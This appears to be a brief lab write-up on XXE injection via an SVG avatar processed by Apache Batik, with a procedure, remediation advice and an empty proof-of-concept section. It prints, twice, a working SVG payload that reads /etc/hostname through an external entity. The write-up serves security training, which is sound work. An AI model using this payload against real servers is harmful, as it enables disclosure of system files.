SCENARIO

This lab provides users the ability to attach avatars to comments. Significantly, it uses the Apache Batik library for avatar image processing.

**PROCEDURE**

1. We design a local SVG image, filling it with the content: <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
2. Subsequently, on posting a comment on a blog entry, this image is uploaded as an avatar.
3. Upon viewing our comment, the image should illustrate the content from the /etc/hostname file. We then press the "Submit solution" button, sharing the server hostname.

**PAYLOAD**

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

# PROOF OF CONCEPT

# 

# REMEDIATION

1. **Image Validation:** Ensure that incoming images match expected formats and are vetted before processing.
2. **Disable DTDs in Libraries:** Within the Apache Batik library, the configuration of the XML parser should have DTDs disabled.
3. **Library Monitoring:** Maintain a routine of monitoring and updating third-party libraries to patch potential vulnerabilities timely.